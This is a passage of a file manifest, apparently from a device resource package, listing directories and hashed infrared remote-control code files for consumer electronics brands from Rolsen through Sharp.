+D:infrared/_CSV-IRDB_/Rolsen/Unknown_K10B-C1 +F:78f12e9b3bca4c83fa1b3bd42cb83da6:4673:infrared/_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir +F:a2d7255e50fbd727b372ae24d47b2b8e:2500:infrared/_CSV-IRDB_/Rolsen/Unknown_K10B-C1/14,14.ir +D:infrared/_CSV-IRDB_/Rotel/CD Player +D:infrared/_CSV-IRDB_/Rotel/Tuner +D:infrared/_CSV-IRDB_/Rotel/Unknown_RR-925 +F:0af980f1ea02a8a384defdd76f505b96:492:infrared/_CSV-IRDB_/Rotel/CD Player/20,-1.ir +F:7ff9f07988a244a7450f21b8728364f5:1667:infrared/_CSV-IRDB_/Rotel/Tuner/82,0.ir +F:76f106ccb8115d36e16e46a4fab1a6c5:2392:infrared/_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir +D:infrared/_CSV-IRDB_/Rowa/Unknown_RDVD104 +F:c9c47080bf4a33399301aef5b234e050:4287:infrared/_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir +D:infrared/_CSV-IRDB_/Runco/Line Doubler +D:infrared/_CSV-IRDB_/Runco/Video Controller +D:infrared/_CSV-IRDB_/Runco/Video Projector +F:59fdd1034db47c2561c403882452ef84:901:infrared/_CSV-IRDB_/Runco/Line Doubler/4,-1.ir +F:05012eb0db23610ae3c9caa10e597528:1563:infrared/_CSV-IRDB_/Runco/Video Controller/1,-1.ir +F:04c0867eab9bba079f64c4766bfe8eb8:2910:infrared/_CSV-IRDB_/Runco/Video Projector/1,-1.ir +F:ed319c87d2eb988b9c3197a0083451c7:3670:infrared/_CSV-IRDB_/Runco/Video Projector/24,247.ir +F:da8e75d64d9d941fb3ba1e65b5c454f0:2065:infrared/_CSV-IRDB_/Runco/Video Projector/5,1.ir +D:infrared/_CSV-IRDB_/Russound/Music Server +F:c54f09cc1582ae893161f84bc370b7a2:2273:infrared/_CSV-IRDB_/Russound/Music Server/10,-1.ir +D:infrared/_CSV-IRDB_/SAB/Unknown_Explorer +F:2dc3329627c8bd07794fabce54d88d25:2254:infrared/_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir +D:infrared/_CSV-IRDB_/SABA/Unknown_SabaTC460 +D:infrared/_CSV-IRDB_/SABA/Unknown_TC3003 +F:ab671bbdac71ae805d8cc02322859292:3308:infrared/_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir +F:ff5279934ab199a39d5344bc455c047f:2097:infrared/_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir +D:infrared/_CSV-IRDB_/SEG/Unknown_E6900-X020A +D:infrared/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430 +D:infrared/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300 +D:infrared/_CSV-IRDB_/SEG/Unknown_SR-040 +D:infrared/_CSV-IRDB_/SEG/Unknown_SR-201 +D:infrared/_CSV-IRDB_/SEG/Unknown_SR800 +D:infrared/_CSV-IRDB_/SEG/Unknown_VCR +D:infrared/_CSV-IRDB_/SEG/Unknown_VCR2000 +F:6a65cac4518cba5751dc383bd4839ec0:4875:infrared/_CSV-IRDB_/SEG/Unknown_E6900-X020A/2,-1.ir +F:4de5f030da5f05a71784e9a98c500936:4116:infrared/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430/32,-1.ir +F:98339709e3664886e80cc6afce3116cc:3391:infrared/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300/21,-1.ir +F:7a151f914e2a7ca7fa2e07187d1149f3:1988:infrared/_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir +F:6581c6b1b09942885f33166a6724dcf3:2196:infrared/_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir +F:c613f99c709441e19236bd7385164373:1912:infrared/_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir +F:1058cb5865260ba7c1b0228ae1ddd430:3528:infrared/_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir +F:9753cd35b52ec2338ceb3e6e69499588:2403:infrared/_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir +D:infrared/_CSV-IRDB_/ST/Unknown_DTTRC-4 +D:infrared/_CSV-IRDB_/ST/Unknown_HMP +F:57c91de1173951dd53799a4afd8dd4c5:3764:infrared/_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir +F:73d0efb384ac6839419bf78c7c912f12:3856:infrared/_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir +D:infrared/_CSV-IRDB_/STRONG/8209_DVB-T2 +D:infrared/_CSV-IRDB_/STRONG/8821_DVB-T +D:infrared/_CSV-IRDB_/STRONG/Unknown_STRONG +F:f18bf96f4f203f3795f774c45ae004e5:3828:infrared/_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir +F:c2d368cb2eff4eb967a97f0d0775671c:4453:infrared/_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir +F:8ba8af1d70142c95f961cd8f0716ba1c:3157:infrared/_CSV-IRDB_/STRONG/Unknown_STRONG/128,119.ir +D:infrared/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168 +F:09f2e8ab9ee12b0fe779becf85bd4768:4538:infrared/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168/0,-1.ir +D:infrared/_CSV-IRDB_/SVEN/Unknown_HT-475 +D:infrared/_CSV-IRDB_/SVEN/Unknown_IHOO +F:99c28db14d35f584149c625581355ede:1251:infrared/_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir +F:bf496496faf11550ac5b8c103b0fd030:1253:infrared/_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir +D:infrared/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver +D:infrared/_CSV-IRDB_/Sagem/Unknown_HD103-C +D:infrared/_CSV-IRDB_/Sagem/Unknown_Sagem +F:0d0990265b77050cceddb7f6f2c59e4a:3140:infrared/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver/135,94.ir +F:63bf352fbace7ee89bcaceead9aa5e8e:3049:infrared/_CSV-IRDB_/Sagem/Unknown_HD103-C/135,94.ir +F:8d4250603230e9608af937e5bd24986a:3608:infrared/_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir +D:infrared/_CSV-IRDB_/Salora/Unknown_SV6700 +F:4bcc2c7f4f6d63f4f114ac5446a9489a:2572:infrared/_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir +D:infrared/_CSV-IRDB_/Samsung/Air Conditioner +D:infrared/_CSV-IRDB_/Samsung/Rear Projection DLP TV +D:infrared/_CSV-IRDB_/Samsung/TV +D:infrared/_CSV-IRDB_/Samsung/Unknown_00011k +D:infrared/_CSV-IRDB_/Samsung/Unknown_00021c +D:infrared/_CSV-IRDB_/Samsung/Unknown_00054d +D:infrared/_CSV-IRDB_/Samsung/Unknown_00056A +D:infrared/_CSV-IRDB_/Samsung/Unknown_00077A +D:infrared/_CSV-IRDB_/Samsung/Unknown_00092M +D:infrared/_CSV-IRDB_/Samsung/Unknown_00092b +D:infrared/_CSV-IRDB_/Samsung/Unknown_00104J +D:infrared/_CSV-IRDB_/Samsung/Unknown_00104K +D:infrared/_CSV-IRDB_/Samsung/Unknown_00198f +D:infrared/_CSV-IRDB_/Samsung/Unknown_00225A +D:infrared/_CSV-IRDB_/Samsung/Unknown_01043A +D:infrared/_CSV-IRDB_/Samsung/Unknown_10107N +D:infrared/_CSV-IRDB_/Samsung/Unknown_10116A +D:infrared/_CSV-IRDB_/Samsung/Unknown_10420A +D:infrared/_CSV-IRDB_/Samsung/Unknown_528Z +D:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00316b +D:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00332D +D:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00370A +D:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00382A +D:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00600A +D:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-10026E +D:infrared/_CSV-IRDB_/Samsung/Unknown_AA64-50236A +D:infrared/_CSV-IRDB_/Samsung/Unknown_AH59-01527F +D:infrared/_CSV-IRDB_/Samsung/Unknown_AH59-02345A +D:infrared/_CSV-IRDB_/Samsung/Unknown_ARH-700 +D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00507A +D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00538A +D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00603A +D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00609A +D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00634A +D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00678A +D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00683A +D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00685A +D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00856A +D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00861A +D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00865A +D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00869A +D:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00940A +D:infrared/_CSV-IRDB_/Samsung/Unknown_BRM-E1E +D:infrared/_CSV-IRDB_/Samsung/Unknown_HLN507W +D:infrared/_CSV-IRDB_/Samsung/Unknown_MF59 +D:infrared/_CSV-IRDB_/Samsung/Unknown_MF59-00242B +D:infrared/_CSV-IRDB_/Samsung/Unknown_MF59-00291a +D:infrared/_CSV-IRDB_/Samsung/Unknown_PR3914 +D:infrared/_CSV-IRDB_/Samsung/Unknown_RCD-M70 +D:infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG +D:infrared/_CSV-IRDB_/Samsung/Unknown_SAT +D:infrared/_CSV-IRDB_/Samsung/Unknown_SFT-702E +D:infrared/_CSV-IRDB_/Samsung/Unknown_SMT-1000T +D:infrared/_CSV-IRDB_/Samsung/Unknown_SMT-H3050 +D:infrared/_CSV-IRDB_/Samsung/Unknown_SV-411X +D:infrared/_CSV-IRDB_/Samsung/Unknown_SV-610X +D:infrared/_CSV-IRDB_/Samsung/Unknown_SV-651B +D:infrared/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E +D:infrared/_CSV-IRDB_/Samsung/Unknown_TV +D:infrared/_CSV-IRDB_/Samsung/Unknown_VCR +D:infrared/_CSV-IRDB_/Samsung/Unknown_VXK-336 +D:infrared/_CSV-IRDB_/Samsung/Unknown_hifi +D:infrared/_CSV-IRDB_/Samsung/Unknown_samsung-10095T +D:infrared/_CSV-IRDB_/Samsung/Unknown_test +D:infrared/_CSV-IRDB_/Samsung/VCR +F:263f986fd2b7641c77cdd437d07dd4b5:979:infrared/_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir +F:ae62041f61be2f8dd6d2ead24189a8f6:1403:infrared/_CSV-IRDB_/Samsung/Rear Projection DLP TV/7,7.ir +F:87c91b09764a3a2b56a90d654d543b65:3175:infrared/_CSV-IRDB_/Samsung/TV/7,7.ir +F:aa73d9f4dd97cc0fc2c27eb9ac11ffac:3533:infrared/_CSV-IRDB_/Samsung/Unknown_00011k/102,0.ir +F:3d9277dfe87b2ce5e483337d74bcc4e8:3469:infrared/_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir +F:2156686b7ee40f3c1fcb62b1999854b5:3633:infrared/_CSV-IRDB_/Samsung/Unknown_00054d/102,0.ir +F:dd3bcf4ead16d3e357a41ddf597330d9:3728:infrared/_CSV-IRDB_/Samsung/Unknown_00056A/102,0.ir +F:b0bb308d20d9d1138179399b66d4f18c:2485:infrared/_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir +F:a16f5e5078f02d4227e5467f1f6ada0c:4013:infrared/_CSV-IRDB_/Samsung/Unknown_00092M/102,0.ir +F:a20e617d6c8d59af65bd6d21c04cfcbb:4012:infrared/_CSV-IRDB_/Samsung/Unknown_00092b/102,0.ir +F:50d8cfbbb5059bb3f4bf88f3df8a2c47:2307:infrared/_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir +F:8c639eaec55e23e65316e474bb543a1a:2771:infrared/_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir +F:ddb3f714c5fedb58844c2dcd11357a49:2280:infrared/_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir +F:c492a2dc7df324be130d6d21c917bc03:2756:infrared/_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir +F:924c30608ec28bf4b212a5fed8d95b3c:1184:infrared/_CSV-IRDB_/Samsung/Unknown_01043A/102,0.ir +F:5544791145c27ca7664debf56bd7719d:2307:infrared/_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir +F:246d83e590001827adfbcb3f47640ca6:1122:infrared/_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir +F:d8ba3733b130c8f9d3c0dd243a6e755d:1762:infrared/_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir +F:04b130b5caa84b1cb1c45d2d16f89d00:2119:infrared/_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir +F:4f3ab4a16af353022a5b3b28edd5db68:3055:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00316b/7,7.ir +F:e950a22e1c9a9c47a9f16f76fe264667:2876:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00332D/7,7.ir +F:d03f221b2bc220920327c94577cfcb89:3726:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00370A/7,7.ir +F:093cff9c4c14748427a80d1d5eb7fce9:4279:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00382A/7,7.ir +F:9c9fe12c714b6046c9c1f46f98275391:4261:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00600A/7,7.ir +F:5a22971236764e1b3e3c0abed4b40406:3350:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-10026E/5,5.ir +F:dc6a0707315b611ed15736288c3fdc68:2484:infrared/_CSV-IRDB_/Samsung/Unknown_AA64-50236A/7,7.ir +F:fc5cb2494b3ed9b9887399eec0404b2f:5166:infrared/_CSV-IRDB_/Samsung/Unknown_AH59-01527F/67,83.ir +F:f3f9eea2bfb4e61bcb49e24c3fa121cf:3370:infrared/_CSV-IRDB_/Samsung/Unknown_AH59-02345A/7,7.ir +F:8c3e9e2c125d5b4181eb222d35b21ba5:1154:infrared/_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir +F:a819d2fc30c7ef89c5d912a457c1b5af:4297:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00507A/7,7.ir +F:6be5dfdb55a3f3c3f6c9f5f1abd94ea0:5143:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00538A/7,7.ir +F:524d3ff128c1563a9d9d017f2b90bd28:5150:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00603A/7,7.ir +F:f189495a90b20f71666828546568fb69:4292:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00609A/7,7.ir +F:1314b7f16b0c8eae5eeec7ce3453af4c:2889:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00634A/9,9.ir +F:9fef728e77a5c5857bebd7d8b4667306:3725:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00678A/7,7.ir +F:231fc2f33e92f8d7c0a5e337b9237ce7:4591:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00683A/7,7.ir +F:feddcbf0cc1be0f9f62ccb48c8e4cd7a:4300:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00685A/7,7.ir +F:11958d644fe553be61c4d48fbbd1cae9:4583:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00856A/7,7.ir +F:2085c5d9fa2829b8438b0ca9ded65a01:4610:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00861A/7,7.ir +F:05047949f668105e5b7f6afced9f1e43:3653:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00865A/7,7.ir +F:8d5e6b9f50dddf24e0dc39388dc87d09:3736:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00869A/7,7.ir +F:3b51c79931be17b359daaddf926fcb4f:4594:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00940A/7,7.ir +F:c62f15a06297307ccb15c2fcbede2e7d:1171:infrared/_CSV-IRDB_/Samsung/Unknown_BRM-E1E/33,33.ir +F:1eb54802e2b5386bb45f5846a804b76d:1363:infrared/_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir +F:ab25d8eadcde592b295a379363137208:3274:infrared/_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir +F:ea905c0008118182adda6643ef74f80d:3268:infrared/_CSV-IRDB_/Samsung/Unknown_MF59-00242B/9,9.ir +F:e9553939110a7b9d1f51a16b5ff20478:3620:infrared/_CSV-IRDB_/Samsung/Unknown_MF59-00291a/32,0.ir +F:125daa3eda951178b062093e8b904638:1382:infrared/_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir +F:fd089e185044a332b6a8a25228b536b6:1466:infrared/_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir +F:cbf95402f910b7f3504db6860cc6156f:4006:infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/102,0.ir +F:dfed39692654e5f3ea84d08f89ab39b9:3818:infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir +F:f7ae130fd53cddc666d0297ae235834f:4601:infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir +F:b0b3fde0e2f8424f117349e438002d8b:2794:infrared/_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir +F:bc17316352d6351526e7cec876498bbb:3541:infrared/_CSV-IRDB_/Samsung/Unknown_SFT-702E/64,-1.ir +F:206e482ebf3c6de67f567ee146ef8a26:3447:infrared/_CSV-IRDB_/Samsung/Unknown_SMT-1000T/64,64.ir +F:1c501a0cf2d6b8f718538b459e51cca2:1721:infrared/_CSV-IRDB_/Samsung/Unknown_SMT-H3050/27,-1.ir +F:9b2f99918deba3f40057a67ed89395b2:4084:infrared/_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir +F:ecf5f6b5f31c70660ac835baa43d2b56:3800:infrared/_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir +F:c87b902b2c52341122f36cab10565c1f:4327:infrared/_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir +F:6282460e52d7df816c122632191696ab:4220:infrared/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E/5,5.ir +F:d95cdd64ec9b56dd76bf93908270c515:2302:infrared/_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir +F:1b1de926c302fd7ee0b97fc5ebed6ce9:3702:infrared/_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir +F:c6b297fc72dfb1d123366392dde7e9d7:3868:infrared/_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir +F:0ceeb888c599b1f11068cb9a322f345e:3054:infrared/_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir +F:149a4b1e4e99d87c37ed3b991f06f651:2367:infrared/_CSV-IRDB_/Samsung/Unknown_samsung-10095T/7,7.ir +F:5e2f0e88352892a7eef787b191d58fc2:2671:infrared/_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir +F:64fc16490a6fa35e70127f5a221f1bca:1197:infrared/_CSV-IRDB_/Samsung/VCR/2,2.ir +F:fbb0e45a0abd2ea7f7f59f825201a23a:8607:infrared/_CSV-IRDB_/Samsung/VCR/5,5.ir +D:infrared/_CSV-IRDB_/Samy/Unknown_SDX1100 +F:314760598906b4146870040192b30735:4174:infrared/_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir +D:infrared/_CSV-IRDB_/Sansonic/Unknown_FT-300A +F:52ce58bb7eadf2ca61510db6cbd6088b:2577:infrared/_CSV-IRDB_/Sansonic/Unknown_FT-300A/0,-1.ir +D:infrared/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103 +F:0496032663cfde9020b1c4ce2f1a4e08:2491:infrared/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103/132,77.ir +D:infrared/_CSV-IRDB_/Sanyo/TV +D:infrared/_CSV-IRDB_/Sanyo/Unknown_A05800 +D:infrared/_CSV-IRDB_/Sanyo/Unknown_B01004 +D:infrared/_CSV-IRDB_/Sanyo/Unknown_B01007 +D:infrared/_CSV-IRDB_/Sanyo/Unknown_B12628 +D:infrared/_CSV-IRDB_/Sanyo/Unknown_B13540 +D:infrared/_CSV-IRDB_/Sanyo/Unknown_RB-DA300 +D:infrared/_CSV-IRDB_/Sanyo/Unknown_RB-SL22 +D:infrared/_CSV-IRDB_/Sanyo/Unknown_RC-105C +D:infrared/_CSV-IRDB_/Sanyo/Unknown_RC700 +D:infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo +D:infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509 +D:infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB +D:infrared/_CSV-IRDB_/Sanyo/Unknown_TV +D:infrared/_CSV-IRDB_/Sanyo/Unknown_VCR +D:infrared/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01 +D:infrared/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537 +D:infrared/_CSV-IRDB_/Sanyo/Video Projector +F:7a8e0878a6c414e0792c157c8068af42:2139:infrared/_CSV-IRDB_/Sanyo/TV/56,-1.ir +F:d10140cd6719ab958b522a9237fb369c:2496:infrared/_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir +F:22e1788a3887531e1a27c8fc70cfe67c:2952:infrared/_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir +F:3a08ce260f450625f7d726ef6fbf98e0:3156:infrared/_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir +F:c848516550c269edb56ea3501104cf23:2833:infrared/_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir +F:c89a60db0c12287fca6c1d28c327f91b:3238:infrared/_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir +F:f24769e34061f159da7eab11fe6cc817:3173:infrared/_CSV-IRDB_/Sanyo/Unknown_RB-DA300/60,-1.ir +F:fe69e2a92e54024f6183754c87b28653:4218:infrared/_CSV-IRDB_/Sanyo/Unknown_RB-SL22/60,196.ir +F:001c18ca1cedc403766434572ea5edc8:3069:infrared/_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir +F:ad66234a192741e9b71024d49c044eba:3028:infrared/_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir +F:304127029f8c86b7d407345982ff59a6:3049:infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir +F:3637d29956324e5b3321203539931f93:2218:infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir +F:4de4f8d68474f46d2057e94d0225aeb2:3055:infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509/49,-1.ir +F:bc067daa62767ecce5e0ebc37f81ff92:3138:infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB/56,-1.ir +F:1959f8c799c66925cfec0f323fb1623e:1916:infrared/_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir +F:b0b454a853af55c055d9757bb19bc6c4:2686:infrared/_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir +F:60ba9756e48db2555317c2709b9a45c3:2399:infrared/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01/56,-1.ir +F:8aa87e515433e76da33f8f740546eb3b:3143:infrared/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537/49,-1.ir +F:92ffc087906698fdd9098e0eae3e8ee3:2284:infrared/_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir +D:infrared/_CSV-IRDB_/Satelco/Sat +F:ca0fdb7125f617e12ac40cd47983c744:4707:infrared/_CSV-IRDB_/Satelco/Sat/24,-1.ir +D:infrared/_CSV-IRDB_/Schneider/Unknown_FB2000 +D:infrared/_CSV-IRDB_/Schneider/Unknown_RC-193 +D:infrared/_CSV-IRDB_/Schneider/Unknown_RC202 +D:infrared/_CSV-IRDB_/Schneider/Unknown_RC901 +D:infrared/_CSV-IRDB_/Schneider/Unknown_RC902 +F:013b230993ae663c1cd061ef4850639f:2948:infrared/_CSV-IRDB_/Schneider/Unknown_FB2000/5,-1.ir +F:3dbe9c256713d3132284dd94e1ffe733:4094:infrared/_CSV-IRDB_/Schneider/Unknown_RC-193/154,-1.ir +F:ee5fc0a79f09d6c14580e82d6545fcfe:2951:infrared/_CSV-IRDB_/Schneider/Unknown_RC202/11,11.ir +F:28549912c01dc9c116d272ac78738eda:3395:infrared/_CSV-IRDB_/Schneider/Unknown_RC901/28,-1.ir +F:4092dc37390899fb48f52dcf93009f93:3405:infrared/_CSV-IRDB_/Schneider/Unknown_RC902/0,-1.ir +D:infrared/_CSV-IRDB_/Schwaiger/Unknown_DSR +F:ff853b1221d155a3d49bf2bacf552533:3261:infrared/_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir +D:infrared/_CSV-IRDB_/Scientific Atlanta/Cable Box +D:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840 +D:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_IV +D:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834 +D:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000 +F:03c4e6858ac9152546b7a2603b99be43:3237:infrared/_CSV-IRDB_/Scientific Atlanta/Cable Box/27,-1.ir +F:8ffb82cbb1a38fdba52785a70cd1aa0c:320:infrared/_CSV-IRDB_/Scientific Atlanta/Cable Box/71,-1.ir +F:4a8f17a6786f836336dd4d7bd6611d73:4058:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840/27,-1.ir +F:747d98887c5b180b42750e509e2e41fd:3947:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_IV/27,-1.ir +F:7a90109996900bcb7ba4c41bb30717b6:2600:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834/27,-1.ir +F:fbfee3f6e279cf759707a139eeadc2c4:4813:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000/27,-1.ir +D:infrared/_CSV-IRDB_/Scott/Unknown_DVD-838 +D:infrared/_CSV-IRDB_/Scott/Unknown_scott-dvd +F:53e790b6cc76ff0f113871cb5d132f41:3913:infrared/_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir +F:ee763fee2000e5add5e585d9662aa24c:4585:infrared/_CSV-IRDB_/Scott/Unknown_scott-dvd/4,-1.ir +D:infrared/_CSV-IRDB_/Seleco/TV +F:ffa048ed34ab3410ab98a2e77c3a48ca:1463:infrared/_CSV-IRDB_/Seleco/TV/0,-1.ir +F:f93a5d1ce9f35ee0f8c447925c4c2214:1431:infrared/_CSV-IRDB_/Seleco/TV/30,-1.ir +D:infrared/_CSV-IRDB_/Sencor/Unknown_SFN9011SL +F:2308b9d142ef93e47565ce267b2752aa:612:infrared/_CSV-IRDB_/Sencor/Unknown_SFN9011SL/0,252.ir +D:infrared/_CSV-IRDB_/Sgi/Unknown_SGIMON +F:41bd664d47f16a449ae35c1ddf3af60b:2152:infrared/_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir +D:infrared/_CSV-IRDB_/Sharp/DTV Decoder +D:infrared/_CSV-IRDB_/Sharp/Monitor +D:infrared/_CSV-IRDB_/Sharp/TV +D:infrared/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1 +D:infrared/_CSV-IRDB_/Sharp/Unknown_G0048TA +D:infrared/_CSV-IRDB_/Sharp/Unknown_G0412GE +D:infrared/_CSV-IRDB_/Sharp/Unknown_G0938CESA +D:infrared/_CSV-IRDB_/Sharp/Unknown_G1014BMSA +D:infrared/_CSV-IRDB_/Sharp/Unknown_G1044BMSA +D:infrared/_CSV-IRDB_/Sharp/Unknown_GJ210 +D:infrared/_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA +D:infrared/_CSV-IRDB_/Sharp/Unknown_SHARP +D:infrared/_CSV-IRDB_/Sharp/Unknown_sharp1781 +D:infrared/_CSV-IRDB_/Sharp/VCR +D:infrared/_CSV-IRDB_/Sharp/Video Projector +F:2cec112faaf38b1aad84ac4db322aa25:229:infrared/_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir +F:a881ef3c70df4dfa8828b81a23599978:992:infrared/_CSV-IRDB_/Sharp/Monitor/1,-1.ir +F:4bfe20854c7acea53e3cccba2da41f58:2124:infrared/_CSV-IRDB_/Sharp/TV/1,-1.ir +F:c9cab0ba7e900d4755368265670876de:2207:infrared/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1/1,-1.ir +F:4489f51cd9914d1dfddafd75baa3338b:1974:infrared/_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir +F:78c53a8d2beee4f395c4e2e244877317:2253:infrared/_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir +F:7a149e012cc27bef8d7c3cd1a03d4f56:3674:infrared/_CSV-IRDB_/Sharp/Unknown_G0938CESA/1,-1.ir +F:e273a0d63e3e016d7256fef0ef6246b9:3559:infrared/_CSV-IRDB_/Sharp/Unknown_G1014BMSA/1,-1.ir +F:18590313897d0c4f1a0e6a91b07fcbec:3831:infrared/_CSV-IRDB_/Sharp/Unknown_G1044BMSA/1,-1.ir +F:155e5679a1017690dad52f7af0609722:4836:infrared/_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir 